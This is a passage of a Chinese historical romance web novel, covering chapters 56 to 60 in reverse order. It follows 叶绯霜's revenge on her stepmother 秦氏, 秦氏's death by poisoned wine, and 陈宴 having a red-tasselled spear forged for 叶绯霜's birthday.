清溪记得这个姐姐保护过他,还给了他糖。 不用桑彤提醒,清溪就主动叫了声姐姐。 “哎。”叶绯霜笑眯眯地答应,“真乖。” “师父,我也乖!”宁衡立刻道,“师父你来的正好!我有个东西要送给你!” 叶绯霜已经猜到了是什么。 果然,是一杆红缨枪。 一杆质地很好、很漂亮的红缨枪。 深色枪杆上刻着繁复的花纹,银白枪头寒光凛冽,红色的穗子像一团火。 “师父,喜欢吗?”宁衡期待地问。 叶绯霜爱惜地把枪从头到尾摸了一遍,高兴地说:“喜欢。” 这可是第一把属于她的枪呢。 “这是方圆几百里最好的枪了!”宁衡得意的说,“我派人去很多地方搜罗,他们把看得上的都拿给我看,我从中挑了这一杆,我就知道师父你一定会喜欢的。” 既然已经收了宁衡这个徒弟,对于徒弟的“孝敬”,叶绯霜当然就坦然受之了。并且答应等过完年,就教宁衡枪法。 第二天,便是腊月二十。 天仍黑着,陈宴便来了铁匠铺子,里边很多人都热火朝天地忙着,炉里的熊熊烈火把大家的脸照得亮堂堂的。 络腮胡大汉看了一眼陈宴身后的锦风,问:“用他的血?” 开锋,即是让兵器饮血后打磨锻造,露出锋刃。 想得到一把好的兵器,这一道程序至关重要。 陈宴摇头道:“用我的。” 大汉和锦风齐齐愣住了。 锦风回过神来:“公子……” 陈宴抬手,止住了锦风的话。 他对大汉道:“来吧。” 大汉给了陈宴一个怪异的眼神,像是第一天认识他似的。 炉门打开,一杆烧得通体通红的长枪探出。 陈宴挽起袖子,露出小臂,拿出一把锋利的匕首,一划—— 大片血雾喷溅而出,洒在了长枪之上,发出滚烫的声响,激出一片白烟。 他的动作干脆利落,不过眨眼之间,锦风想再阻止都来不及。 打铁的汉子们看着鲜血融入长枪之中,兴奋地欢呼起来。 锦风急忙给他家公子包扎,看着这道从手肘蔓延到手腕的口子,心里复杂无比。 这杆枪的图纸,是他家公子亲手画的,耗费了数个日夜,来来回回修改了几百次,才终于画出一杆让他满意的长枪。 接着找到已经隐退的铁匠,重金请人家出山来打这杆枪。 现在,竟然还用自己的血为这杆枪开锋。 跟在他身边这么多年,锦风从未见过他为一件东西……不对,是对一个人,这么尽心。 看来,他家公子对那位郑五姑娘的在意程度,比自己以为的,还要深很多很多。 第60章 最好的 “怕。”叶绯霜说,“她来给她姐姐出殡的时候,看着我的那个眼神,和要把我吃了似的,我肯定怕。” 话是这么说的,但是陈宴从她脸上看不出一丁点害怕的情绪来。 真是心口不一。 但陈宴还是把自己知道消息告知了她好让她安心:“莫怕,这位杜大人不仅御下极严,还治家有方,他的后宅很安宁。” 叶绯霜明白了陈晏的意思。 年后,这位杜大人刚上任,肯定谨小慎微。他压得住小秦氏,所以小秦氏也会老老实实的,起码刚来荥阳时会老实。 叶绯霜高兴道:“那太好了,看来我还是有一段安生日子可以过的。” “但是也不能完全掉以轻心。后宅里的阴私手段很多,让人防不胜防。” 陈宴觉得自己说的是废话。和她认识几个月了,她有多小心谨慎他是见识到了的。 但还是忍不住叮嘱了。 一面对她,他的话好像变得出奇的多。 今日授课结束,靳氏留陈宴吃饭。 郑老太太不同意把靳氏扶正,所以他们没能搬去正院,还住在落梅小筑里。 郑涟和靳氏都觉得无所谓,反正已经在这里住了十年了,早就习惯了。 而且自打叶绯霜回来,落梅小筑人多了,东西也满了,烟火气足足的,没什么不好。 “霜儿,还有几日就是你的生辰了。”靳氏问,“那天想吃什么?娘给你做呀。” 陈宴筷子一顿,生辰? “做碗长寿面就行啦!”叶绯霜笑眯眯地说,“每次过生辰,养父都会给我做一碗长寿面。” “长寿面肯定要做,别的呢?” 靳氏其实有些内疚。这是女儿回家后的第一个生辰,按说应该好好庆祝。但秦氏的百日祭礼刚过,女儿要是大肆庆生,未免洛人口舌。 但也不能敷衍,所以靳氏和郑涟一合计,多做点好吃的摆一桌,请几个人过来吃顿饭,私底下热闹热闹就行了。 叶绯霜没扫靳氏的兴,认真地点了几个菜。 靳氏又问陈宴:“霜儿的生辰在腊月二十,三郎那天有功夫过来吗?” 陈宴想都没想:“有。” “那太好了。”靳氏转向叶绯霜,“到时候再请了你二姐姐和卢四公子来。我也想请你三伯母,但是年根了,她忙得很,未必有时间过来。” 叶绯霜点头:“娘的安排很好。” 她看向陈宴:“马上就要过年了,陈公子该回颍川了吧?” 陈宴对上她亮晶晶的眼睛,里边写满了兴奋和期待。 期待什么?当然是期待他赶紧走。 陈宴扬起唇角,露出一个云淡风轻又有点恶意的笑:“不回。” 她眼里的光暗了,期待被震惊所取代:“不回?你过年都不回家?难道你还要在郑府过年?” 陈宴慢条斯理地说:“明年春闱,郑氏族学里有几个兄弟一并参加。他们让我抓紧时间多多指点一下他们的课业,我应了。” “呦,这得多辛苦啊。”靳氏心疼地看着未来的女婿,“要不三郎就先忙你们的正事,先不用教霜儿了,否则太占你的时间了。” 不愧是她娘,就是懂她的心思! 叶绯霜立刻跟着点头:“是啊是啊,春闱要紧,真的,你赶紧准备会试吧,我已经识了不少字了,我自己看书也可以的。” 还是让陈宴少在她爹娘跟前晃为妙,省得爹娘对他越来越喜欢。 否则自己将来退了婚,不得把爹娘气坏了? 陈宴扫了一眼叶绯霜:“我说过,不耽误。” “不行呀,三郎,你来回跑太累了。”靳氏说,“反正你以后有的是时间慢慢教霜儿,也不差这一时。” 这话倒是让陈宴比较爱听。 冬日天黑得早,等吃完饭,夜幕已经完全笼罩了天际。 几个小厮打着灯笼,引着陈宴离开落梅小筑。 没走出多远,和一个人打了个照面。 是傅湘语。 她裹了件白色的斗篷,提了个篮子,里边装的满满的都是白梅花瓣。 “陈公子?”一看见他,傅湘语眼睛就亮了,但是看到他是从哪里过来的后,目光又黯淡了下去。 陈宴朝她颔首:“傅姑娘。” “陈公子是从落梅小筑过来的么?” “是。” 傅湘语声音更轻了:“陈公子是去看五姑娘的么?” 陈宴每日午后都堂而皇之地去落梅小筑,久而久之,看见的人就多了,就不是什么秘密了。 况且陈宴本来也没打算藏着掖着,直言道:“我在为五姑娘开蒙。” 傅湘语愣住了:“开……开蒙?” 傅湘语的兄长便在郑氏族学里进学,傅湘语着意和他打听过许多陈宴的事。 兄长说,陈宴十分严厉,而且直言不讳,经常将他们的文章批得一无是处,让他们自惭形秽,根本抬不起头来。 所以他们拿给陈宴看的文章,都是精心写就,改过无数遍的。 傅湘语深知陈宴是一个做学问要求极高的人,所以她实在想象不到他会有耐心给人开蒙、讲那些小孩子都知道的东西。 “五姑娘真是好福气。”傅湘语捏紧了手中的篮子,喃喃道,“有陈公子的教导,日后五姑娘进了族学里,定是个中翘楚。” 陈宴一本正经地点头:“嗯,她会的。” 说罢,陈宴再次朝她彬彬有礼地一颔首,大步走了。 篮子里的白梅瓣不断散发出清雅的香气,明明很好闻,傅湘语却生生嗅出了一丝酸楚。 第二日,陈宴从族学出来后,没有直接回郑府,而是去了城郊的一家老铁匠铺子。 铺子里的学徒看见他,忙引着他去了后边。 房间正中央的烘炉正熊熊燃烧着,火舌仿佛要从炉里钻出来。几个赤着膀子的汉子喊着号子,捶打声不绝于耳。 一个留着络腮胡的汉子看见陈宴,朝他走来,一边用肩上的布巾擦汗:“还没到你取枪的时候,怎么过来了?” “要快一点。”陈宴说。 “不是说年前打好就行?” “提前了,最晚二十,我要。” 汉子想了想今儿是几号,有些为难:“时间太紧了啊。” “需要加多少,你随便说。” “不是银子的事。”汉子道,“你那杆枪那么精细,有多难打你知道。” 陈宴淡笑道:“若不精细,也不特意劳烦你了。” “得了得了。”汉子摆摆手,“我让他们把别的都放一放,所有人齐心协力先打你这杆枪,行了吧?二十黑夜,你来取吧。” “不行,最迟二十早上。” 汉子无语:“得得得,知道了。” 陈宴正准备走,汉子叫住了他:“忘了问了,你这枪开不开锋?” 开锋即见血,见了血的兵器会锻造得更加锋利。 “开。”陈宴说,“到时候,我亲自来开。” 既然他要给,他就要给最好的。 第59章 秦氏死 郑府,鼎福居。 郑茜媛趴在郑老太太膝头,哀哀戚戚地哭:“祖母,我想娘了,您让我去见见娘吧!” 郑老太太何尝不想让她们母女见一见彼此,好宽宽心。可家庙那边守得太紧,根本不让见。 “媛娘,别哭了。”郑老太太给郑茜媛擦泪,“别急,以后你有的是时候见你娘。” “真的吗?可是祖母,我听说有人要让我娘死。不行啊,我娘不能死!” “放心,祖母不会让你娘死的。” 郑老太太让郑茜媛回房休息,唤来罗妈妈:“准备得怎么样了?” “老太太放心,已经找到和四夫人相像的人了。等用她把四夫人换出来后,就送四夫人远离荥阳避避风头,等过几年再悄悄把人接回来。 只是家庙那边太严,现在还换不了人,得再等一等。” 郑老太太合眼点头:“好,要尽快办。” 可是当晚,郑府的大门就被人拍响了。 一个消息震惊了整个鼎福居:秦氏死了。 郑老太太登时便惊醒了,颤声质问:“谁做的?!” “是京中……大夫人派来的女使!给四夫人灌了一杯毒酒,四夫人便立时气绝了!” 大夫人,便是郑茜静的母亲,现在的成国公夫人。 禀报的丫鬟还说,家庙那边拦了,但是对方是国公夫人派来的女使,实在拦不住啊! 郑老太太一双三角眼都瞪成了圆形,呼哧呼哧喘了半天,而后双眼一翻,晕过去了。 罗妈妈立刻叫大夫,整个鼎福居鸡飞狗跳。 叶绯霜也是在当晚得到的消息。 不过她不是由人转告,而是那四名女使亲口说的。 她们在回京复命前来看望郑茜静。 瞧见叶绯霜,几位女使朝她行礼:“这位便是五姑娘吧?” 叶绯霜乖巧地打招呼:“姑姑们辛苦了。” 叶绯霜不知道秦氏被灌毒酒的时候有没有后悔,不该派人对自己下手,差点连累了大夫人的心头肉郑茜静,以至于大夫人这般恨她,根本不给她留活路。 第二天,卢氏便以“为嫡母守灵”为由,把叶绯霜接回了郑府,郑茜静当然也一起。 见到女儿,靳氏那颗一直提着的心才彻底放下来。 虽然陈三郎的人一直都说,五姑娘在别院一切都好,但当娘的哪有不担心女儿的? 靳氏摸着叶绯霜的脸,心疼道:“怎么瘦了这么些?” “没有啊娘,明明胖了。”她是受了两次伤耗了点儿精神气,但这些天一直好吃好喝地大补着,真的胖了一点。 小桃都说她脸上肉多了。 叶绯霜对郑涟说:“过两天,我就请璐王府的谭大夫来给爹看看,他以前是御医。” “璐王府?”靳氏惊道,“御医,咱们请得过来吗?” 郑府当然是请得来御医的,但是他们四房就未必了。 叶绯霜没说自己和璐王父子的事,随口道:“不是有陈三郎吗?他出面,还有什么请不来的?” 靳氏感慨:“都说一个女婿半个儿,这话还真没错。” 叶绯霜:“……” 还不如说实话。 府里挂上了白灯笼,丧服也发下来了。郑涟没有休妻,秦氏就还是郑府四夫人。 为了不丢郑氏的脸,秦氏的丑事并没有被明白昭告,就连去家庙用的也是“突发恶疾”这个理由。 但暗地里风言风语早就传遍了,即便被卢氏压下来没人再敢谈论了,但大家心里懂的都懂。 叶绯霜在灵堂里看见了秦氏的尸体。 秦氏的死状其实挺恐怖的,叶绯霜却一点都不害怕,她甚至仔仔细细打量了好一会儿,还趁没人注意的时候偷偷摸了摸,好确认她脸上没有人皮面具什么的。 秦氏真的死了。 叶绯霜扬起唇角。 这个前世今生都和她有深仇大恨的女人,终于遭了恶报。 郑文博和郑茜媛过来了,一看见叶绯霜,这对双生子就恨得和什么似的。 只是灵堂里人多,也不容他们撒泼,他们连骂叶绯霜一通都没能做到。 郑文博跪了一会儿就嚷嚷着累,又说饿,被人带回了鼎福居。 倒是郑茜媛一直跪在灵前烧纸,恶狠狠的眼神恨不得把叶绯霜给活剥了。 叶绯霜连她娘都不怕,当然也不可能怕她,随便她瞪。 大户人家发丧前可以停灵七天,第五天,秦氏的妹妹来了。 小秦氏长得和她姐姐有五分像,但是要更珠圆玉润一点,显得年轻许多,其实她们只差了两岁。 郑茜媛一见到小秦氏,就大哭着扑进她怀里:“姨母!” 小秦氏爱怜地抱住郑茜媛,痛哭出声。 小秦氏这两天住在郑府,等着为她姐姐发丧。 她也是郑老太太的侄女,当然就直接住在鼎福居了。 也不知道郑老太太还是那对双生子对小秦氏说了什么,第二天,叶绯霜就发现小秦氏看自己的眼神不对了。 简直就是敌意满满。 出殡那天,排场很大,纸钱飞了满天。 郑氏祖坟里新挖了一个坟头,但是埋进去的只有秦氏的衣冠,这是做给外人看的。 族长和太夫人当然不可能让秦氏的尸首葬进来。 所以秦氏的尸身在火焚之后,会悄悄送还本家。 回了府,脱下丧服,阿夏收敛起来拿出去烧了。 小桃开心地问:“姑娘,咱们姨娘以后是不是就是夫人了?” 叶绯霜说:“按理说是的,但实际有点难。” 本来就该如此,她爹娘本就一对恩爱夫妻。 但郑老太太肯定不会同意。 这事用不着叶绯霜来说,等秦氏的百日祭礼一过,卢氏就和郑老太太提了。 果然,郑老太太一口回绝了。 用的是一个让人挑不出错的理由:靳氏无儿。 “等过了年,我会给老四挑个好的。”郑老太太道,“靳氏多年无子,以后怕是更生不出了。这样的人,如何当得了一房夫人?” 郑老太太说话的时候,看向了叶绯霜。 叶绯霜恭敬地垂着眼,恍若察觉不到郑老太太的恶意。 下午,陈宴来授课的时候,给叶绯霜透露了另外一个消息—— 新任荥阳知府年后便会上任了。 按说陈宴不必无缘无故和自己说这个……叶绯霜想了想,问:“新任知府姓什么?” “杜。” “京兆杜氏?” “正是。” 叶绯霜仔细搜寻了一下前世的记忆,发现不认识姓杜的人。 陈宴又问:“你的菩萨没托梦告诉你这位杜大人和你的关系?” 叶绯霜:“……” 她面无表情:“菩萨要保佑的人太多了,可能暂时顾不上我吧。” 陈宴把修剪好的一枝白梅插进她案上的瓷瓶里,给她答疑解惑:“这位杜大人的夫人你前些日子见过,就是你嫡母的妹妹,小秦氏。” 叶绯霜垂下眼睫,沉默了。 陈晏双臂撑着桌面,微微凑近她,笑问:“害怕吗?” 第58章 很温柔 小桃看见她家姑娘满脸涨红地从房间里冲出来。 陈三郎跟在她身后,抱臂靠在门口,散漫又矜傲的样子,嘴角挂着那么一抹似有似无的笑。 小桃露出一个暧昧又打趣的眼神。 经过几个月的接触,小桃早就发现了她家姑娘的脸皮其实挺厚的。 也只有在面对陈三郎的时候,她才会总是脸红。 不是有句话吗?说姑娘家在面对喜欢的人时才会脸红。 那依照她家姑娘这个脸红程度,她家姑娘肯定特别特别喜欢陈公子! 两情相悦,多好! 一路疾奔,到了前院,叶绯霜脸上的热度才终于退下去。 她要被自己气死了,都怪她不小心,以后一定要看清人再说话。 村民正坐在花厅里说话,见叶绯霜来了,立刻起身迎过来。 他们给叶绯霜带了许多自家的东西,有土鸡蛋,散养的鸡鸭,种的菜果……把一个个装得满满当当的篮子,殷勤地递给她。 叶绯霜也没客气,笑着朝大家道谢,让小桃收了,准备之后以别院的名义回点布帛什么的。 张利坐在最里边,高兴地对叶绯霜说:“今天府衙送来了文书,我们的地都拿回来了!” 包括前些年被秦鲤强行征走的地,也全都还回来了。 “这就好。”叶绯霜说,“老村长也可以安心了。” 提到过世的爷爷,张利的眼眶就红了,用力点头:“嗯!爷爷泉下有知,一定会欣慰的。” 前几天给老村长举办了葬礼,叶绯霜还去吊唁了。那位老者死前还念着村民们,是个老好人。 张利抹了把眼睛:“官府把我们递上去的状子都接了,有几桩已经查清楚了,还了我们公道。家里有人被害死的,也给了抚恤银子。 郑五姑娘,要不是有你,我们真不敢相信还能有这一天。” 此话一出,得到了村民们的连声附和,刑娘子等人立刻跪下来给叶绯霜磕头。 叶绯霜和小桃把大家扶起来,安抚了好几句,才让大家激动的情绪平复下来。 又说了一会儿话,村民们便要走了,叶绯霜送他们出别院。 张利的眼睛还是红的。虽然已经过去许多天了,但他还是无法从失去爷爷的悲痛中走出来。 叶绯霜道:“你记得老村长的遗愿,好好读书,将来当个好官,就不辜负他了。” 然而这话并没有安抚到张利,他露出一抹既悲痛又无奈的神情:“五姑娘,您不知道,这条路对我们来说,简直比登天还难。” 其实叶绯霜是知道的。 现在大昭的官制,对寒门出身的士人实在太不友好了。 优秀的教育资源都被各大世家的族学私学,以及官府兴办的州学县学垄断了,普通百姓根本进不了这些地方读书,他们只能去一些寒酸又破败的小书院,没什么书可看就算了,夫子基本都是不得志的老秀才。 所幸会试不限制出身,只要想考的都可以报。但就算有天资聪颖的,读出了名头,又考出个不错的名次,入了官场,也走不到什么高位。 因为官场上看的是身家背景和盘根错节的利益关系,上层高官的位置牢牢被几大世家把控着,他们重用族中子弟,这些寒门士子根本分不到什么羹。 所谓的青云路,又何尝不是一条登天之路。 “会有机会的。”叶绯霜很坚定地说,“这个现状,会有人出来改变的。” 张利苦笑着摇摇头:“谁能改变呢?士族子弟都是受益人,他们会损害自己的利益吗?寒门子弟倒是想改,可根本无能为力啊。所以,不会有这个人的。” 叶绯霜依旧说:“会有的。” 身后传来一个清朗的声音:“既然知道对于某些事情无能为力,那就把自己能力范围内的事做好,其它的交给天意。天命若不佑你,你便连人事也不尽了吗?” 天已经黑了,灯笼都点了起来。橙红色的灯笼纸将烛光染成了一个温暖的颜色,洒在陈宴身上,让他那种高高在上的疏离气息也淡了几分。 张利咬着牙,脸颊肌肉紧绷:“你说的倒是轻巧。” 正谈论着这个话题,他就无法不对这些含着金汤匙出生的世家子产生敌意。 他们一出生就什么都有了。 大把的士族子弟都是草包废物,却能在家族荫庇下身居高位。 而他们这些庄户出身的,哪怕把书读烂了,最后可能连人家的鞋尖都够不上。 陈宴走到叶绯霜身边站定,疏淡的目光落在张利身上:“你把我瞪穿了也改变不了什么,有这功夫不如回去多抄两页书。” 张利讽笑出声,是啊,他们的书都得是抄的,因为买不起,只能借了自己抄。 听说大家族的藏书阁里卷帙浩繁,什么孤本奇书都有。 越想,就觉得差距越大,让人崩溃。 “你在优越什么?”张利愤恨大吼,“要不是有个好出身,你未必能比我强!” 明明对方也没有鄙视自己,可张利就是觉得被看轻了,自尊心在这人浅淡的眸光中的被碾成了齑粉。 陈宴并没有生气,他的表情都没有哪怕一丝一毫的变化,平淡反问:“你想要这种优越感么?你想让你的后代有个好出身么?” “你……” “想不想?” 张利握紧了双手,谁不想呢? 陈宴冷漠道:“那还不赶紧滚回去读书。” 他不安慰张利,懒得和他解释,更不屑与他争辩——仿佛他真的有优越感,高高在上,看不起这些普通人。 但叶绯霜知道,他说的让张利滚回去读书,是真的想让他抓紧时间好好读书。 因为等陈宴入仕后,做的第一件大事就会是改官制,他真的会给这些寒门士子很多机会。 他真的会把自己手里的“羹”分出来。 想要吃到这杯羹的人,起码得有接的能力吧。 “会变好的,回去吧。”叶绯霜对张利说,“其实很多事情已经改变了,以后也会更好的,要有信心啊。” 现在的张利哪里知道,在叶绯霜的前世,他根本连继续读书的机会都没有。 因为他和他的村长爷爷,还有其它几十个村民,全都死在了曹崖的地牢里。 而这一世,他拿回了地,得到了抚恤银子,还健健康康地活着。 叶绯霜看着张利就很开心,觉得他和自己是一样的,没有走上前世那样悲惨的道路,大家都有美好的未来。 陈宴往前一步,隔绝了叶绯霜落在张利身上的那股堪称温柔的视线。 怎么回事,对一个才见过三面的张利都这么和颜悦色,怎么就不能把这种好态度分给他一点? 想到她刚才坚定的话,陈晏问她:“你确信,会有那么一个人站出来改变这些事情?” 她的目光收回来,落在了陈晏身上。 四目相对,陈晏心跳微微快了几分。 叶绯霜仰头望他,郑重点头:“对,我确信。” 不知是他的错觉,还是灯光颜色太暖,显得她看他的目光,好像也很温柔。 第57章 屁股疼 叶绯霜红着眼睛去向太夫人告辞。 “母亲把她日子的不顺心全都怪到了我头上,所以才想毒死我……可她一个正头夫人,我一个刚回家的庶女,我能对她做什么呢?母亲实在是错怪我了……” 叶绯霜擦了擦挤出来的泪。 太夫人这时候哪儿还有心情听她这些,满脑子都是小丫鬟刚刚禀告的大事。 难道秦氏连混淆宗族血脉这种事都做了吗?她可真是胆大包天! 了不得,这可了不得! 太夫人三言两语打发了叶绯霜,便亟亟让人去请族长过来。 叶绯霜出了家庙大门,神清气爽地伸了个懒腰。 她知道,都十年了,郑茜媛和郑文博从来没有被质疑过血统,想必知情人早已被处理干净了。 这应该是郑老太太的手笔。 她自己是没能力去查这么远的事情的,她又没有人脉。也不能把这事随便告诉旁人,毕竟没有证据。 所以,她把疑点漏出来,借太夫人和族长他们的手去查。 试问还有谁会比一族之长更加在意宗族后代的血脉是否纯正呢? 叶绯霜往河边走去,她的马在那里吃草。 远远的,看见河畔有一身影。 白衣风华,姿容绝代。 就连拿一根树枝逗马的这种事做的也是赏心悦目的。 她那马也不争气,让人逗得一蹦一蹦的。 听见脚步声,陈宴望过来,笑道:“五姑娘的马倒是比五姑娘亲人。” 叶绯霜没法反驳,毕竟她的马已经被这根树枝逗得神魂颠倒了,马头都在努力往陈宴身上凑。 叶绯霜一拍马头:“我才是你主人!” 马朝她打了个响鼻。 “陈公子怎么来了?” 陈宴说:“乔禄死了。” 叶绯霜舒了口气:“不意外。” 她已经叮嘱过宁衡,要严加看管乔禄,看来还是没能防住。 毕竟荥阳府衙从上到下已经烂透了,里边的蛀虫不是一天可以除干净的。 郑家有人和知府勾结这么些年,势力早就渗透了,乔禄死得都算晚的了。 叶绯霜心底叹了口气。 有些可惜,族长他们对双生子的身世起疑后,肯定第一个要去问乔禄,只能跑空了。 “五姑娘为何要来看你嫡母?”陈宴问。 “来落井下石,出口恶气。” “五姑娘真是诚实。” “要是我说我好心来探望她,陈公子也不能信啊。” 陈宴轻笑:“事情一了,五姑娘也该回郑府了。” “是啊,总不能一直在别院呆着。”她珍惜地摸了摸马的鬃毛,“唉,回去之后,想摸到马都难了。” “不难。”陈宴道,“等五姑娘大好了,我可以带你出府跑马。” “不用了,这多麻烦。”叶绯霜婉拒,“陈公子住在郑家,是为了指点郑氏族学里兄弟们的学业,之前为我授课,已经耽误陈公子很多时间了。” “给五姑娘授课那段时间,我上午和晚上都会去族学,没有耽误他们。” 叶绯霜客气道:“那陈公子真是太辛苦了。这段时间你在别院,岂不是没有指点他们?这不好,要不你现在就回郑府去吧。” “我人虽没去,但他们送来的文章和经论都看了,我还根据他们的自身情况为他们制定了读书策划,只要他们潜心学习,都能进益。” 叶绯霜不禁暗叹,陈宴这人做事,是真的靠谱。 “这样一来,陈公子自己读书的时间不是少了很多?陈公子明年可是要去会试的,这可不行!” 叶绯霜一挥手,铿锵有力地说:“这样吧,等回府后,陈公子就先别管我了,不用再费心给我授课,专心准备会试要紧。” 陈宴笑问:“五姑娘觉得我能中吗?” “当然。人们都说陈公子可是天降文曲星呢。” “既然如此,给五姑娘授课也耽误不了什么。会试我会准备,课也要继续上。” 叶绯霜有些无语,这人怎么回事?给人上课还上出瘾了? 她立刻换了套说辞:“虽然陈公子学问很好,但天底厉害的人一大把一大把的。陈公子可不能轻敌啊,最好把十二分的精力全用在准备会试上!” 霞光照进陈晏清润的眼睛里,显得他十分温柔。 他缓缓道:“原来五姑娘这么担心我的前途,我实在有些受宠若惊。” 叶绯霜怏怏的:“你想多了,其实并没有担心,你的前途和我关系不大。” 越说越错的感觉,叶绯霜闭嘴了。 陈宴今日也骑了马,一匹通体漆黑的骏马,毛色油光水滑,相当漂亮。 衬得叶绯霜这匹枣红色的马特别的灰头土脸。 偏她的马还没有自知之明,往人家的漂亮马那边使劲儿凑,缰绳都拽不回来。 “哎,哎!”叶绯霜拍它的头,“看路!” 偏这马被美色迷惑了双眼,不听话,非要和人家贴贴。 搞得叶绯霜都和陈宴挨一块儿了,要让人瞧见还以为他俩在马上干什么呢。 秋风吹来,陈宴的素白外袍和叶绯霜的橙红裙摆交缠在一处,像天边的宛霞和流云。 叶绯霜在这好色马的屁股上拍了几下,用力扯住缰绳,强行骑着它跑远了。 陈宴眯眼望去,马上的姑娘身姿轻盈又矫健,裙摆纷飞,仿佛要融入那广袤的霞光中。 这还是叶绯霜自从受伤后,第一次跑马。 跑起来畅快肆意,身上那点疼也浑然不觉。但是一停下来,就觉得遭报应了。 一回房间,叶绯霜就扑在了榻上。 “小桃!”她捶着腰喊,“快过来帮我按按!” 小桃立刻跑进来:“姑娘,你又腰疼了?” 为了让她家姑娘早日彻底好起来,小桃特意和月影学了按摩手法,这些日子经常给叶绯霜按。 叶绯霜闭上眼:“是啊,果然,不能随便透支身体,太难养了。” 小桃一边给她揉腰一边说:“大夫说了,姑娘年纪轻,底子好,这已经算恢复快的了。” 叶绯霜觉得满意,小桃的手法真是越来越好了。 “往下点,屁股也疼。”叶绯霜舒服到了,哼哼唧唧地说。 不知她的马是不是生气了,故意颠她,才这么疼。 小桃的手一顿,继续给她按背和腰。 叶绯霜打了个哈欠:“往下,往下按,我屁股需要你,请不要忽略我的屁股。” 她迷迷糊糊都快睡着了,朦胧间,听见小桃问:“姑娘,有几个村民来看望姑娘了,见不见?” “好,见,我马上来。” ……不对。 小桃不是在给她按摩吗?怎么声音是从院子里传来的? 叶绯霜猛然一个翻身,果然,并不是小桃在给她按。 她还说呢,小桃的手法怎么就突飞猛进了。 怎么是陈宴在给她按? 对上她惊愕的视线,陈宴不疾不徐地问:“你确定,要我帮你按……那个部位?” 叶绯霜:“…………” 第56章 疑血统 郑氏家庙里栽了许多四季桂,此时芳香满园。 太夫人靠在榻上,听身边的姑子读经。 一个小丫鬟进来通报说:“太夫人,主家的五姑娘来了。” 太夫人睁开眼:“五姑娘?就是今年才找回来的那个?” “正是。” “她来做什么?” “五姑娘说新制了点心,送来给太夫人尝个新鲜。” 太夫人沉吟片刻:“请进来吧。” 帘子打起,叶绯霜提着食盒迈步而入。 她今日穿了条橙红色的袄裙,头发编成辫子,辫子里边戴了小朵小朵的海棠绢花。 朴实又鲜亮的装扮,让太夫人眼睛都亮了。 太夫人年岁大了,不喜欢死气沉沉的素色,看着鲜亮的东西才舒心。 叶绯霜跪在地上恭恭敬敬地行了个大礼:“给太夫人请安,愿太夫人福禄双全,万寿无疆。” 吉祥话谁都爱听,太夫人见她礼数周到,心觉满意,露出笑容来:“好孩子,起来罢。” 叶绯霜麻利地起身,从食盒里拿出几碟糕点摆在桌子上,说:“我在别院里闲来无事,摘了点桂花做糕点,太夫人赏晚辈个面子,尝一尝吧。” 这些点心样式小巧精致,让人一看有食欲。 太夫人尝了一块,入口便香味馥郁而不甜腻,化开后还有浓郁的桂花汁。 太夫人不禁多吃了几块:“这是你亲手做的?” “是。” 太夫人点头:“好巧的手,不比宝芳斋的差。” 宝芳斋是荥阳最大、最有名的糕点铺子。 叶绯霜抓抓脸,有些羞赧:“太夫人过奖了,您爱吃就好,我赶明儿还给您做!别院和这儿离得不远,还能趁热送来呢!” 有这份心就让太夫人挺满意了。 闲聊一会儿,叶绯霜才问:“太夫人,我……我能去看看母亲吗?” 太夫人冷哼:“此等私德败坏的贱妇,如何配为人母!” 族长已经告诉了她秦氏联合她的奸夫给郑涟下毒的事。 叶绯霜垂下泪来:“母亲竟还让人给我下砒霜,我真是想想就后怕。我今年才回家,回来后也一直和爹爹姨娘小心过日子,实在不知道哪里惹恼了母亲……太夫人,您让我去问个明白吧,否则我不甘心。” 太夫人想了想,允了。 秦氏被关在家庙最里边的一间小屋里,门窗全都订得严严实实,房上落了一把大锁,还有六个家丁看着。 叶绯霜忽然想起了陈宴曾经对她说过的话—— 世家大族对于犯错的女眷,都是如此对待的。 房门“吱呀”一声打开。 秦氏不适地眯起眼睛,她已经许久不见天光了。 眼睛有些刺痛,隐约看见一个纤细的轮廓,她忙道:“媛娘!是不是你来了?你来看娘了?” 她立刻站起身迎过来,却因为几天未进水米,没什么力气,跌倒在地。 叶绯霜背着光,慢慢蹲在她面前,笑道:“母亲,看清楚点,是我呀。” 认出她的一刹那,秦氏目眦欲裂:“是你!竟然是你!你这个小贱人,是不是你害的我?!” “母亲自己做的丑事,怎会是我害的呢?”叶绯霜说,“而且我在张庄别院,母亲在深宅之中,隔这么远,我如何害母亲呢?” 秦氏咬牙切齿:“就是你!一定是你!之前那么些年一直都好好的,自打你回来,我的日子就不好了,一定是你在捣鬼!早知如此,在找到你的时候,我就该让人弄死你!让你回不来!” 这是秦氏最悔的事情,她就不该让这个小杂种回来! 经过这些天的折磨,秦氏的神智本来就在崩溃的边缘了,叶绯霜的出现,成为了压垮她的最后一根稻草。 她喃喃骂道:“你们都该死!你那个窝囊废爹,你那个贱人娘,还有你这个小杂种,你们都该死!” 叶绯霜微微拔高了声调,好让门外的人听到:“我是杂种,那郑茜媛和郑文博又是什么呢?” 秦氏、门外太夫人派来偷听的小丫鬟,齐齐一愣。 秦氏尖叫起来:“你说什么?!” “听说你和乔大夫的奸情有许多年了,那是不是在嫁给我爹之前就有了?郑文博和郑茜媛,真的是我爹的孩子吗?” 叶绯霜用一副天真无邪的语气问:“啊对了,我还说过,郑文博长得和乔大夫有些像!难道……难道郑文博真的是乔大夫的儿子吗?” “你胡说!”秦氏使尽全身力气扑过来,“我要杀了你,让你再胡说八道!博哥和媛姐是郑家的嫡出后代,你这贱种也敢污蔑他们!” 秦氏可不是那种老实等死的人,事情已经到了这个地步,她还想着翻身呢。 她最大的倚仗是郑老太太,其次便是她的一双儿女。 哪怕要在家庙里待许多年也没关系。等她的儿女长大,靠着荥阳郑氏的声望和名号功成名就,一定可以救她出去的! 现在这小贱人竟然说她的子女血统不纯,这不是绝她后路吗? “母亲,您怎么急了,莫非被我说中恼羞成怒了?”叶绯霜轻而易举地躲开秦氏,“难道你的双生子真是和乔大夫生的?” 门外偷听的小丫鬟出了一身冷汗,老天爷,混淆宗族血脉,这可是天大的事,了不得! 小丫鬟已经顾不上听后边的了,她要赶紧去把这事告诉太夫人! 叶绯霜听见一连串远去的脚步声,扬起唇角。 她一改方才的天真,一把掐住秦氏的脸,逼视着她:“你人品低劣,为人恶毒,有如今下场,是你的报应。你抢我母亲的位置,现在就是还回来的时候!” 秦氏冷嘲:“你以为没了我,你娘就能做正头夫人了吗?少痴心妄想了,绝无可能!老太太不会同意的!” 叶绯霜嗤笑:“这就不劳你费心了。” 对上秦氏恨的快要滴血的眼,叶绯霜继续道:“你还指望你的一双儿女以后救你是吗?放心,我不会让你有命等到的。” 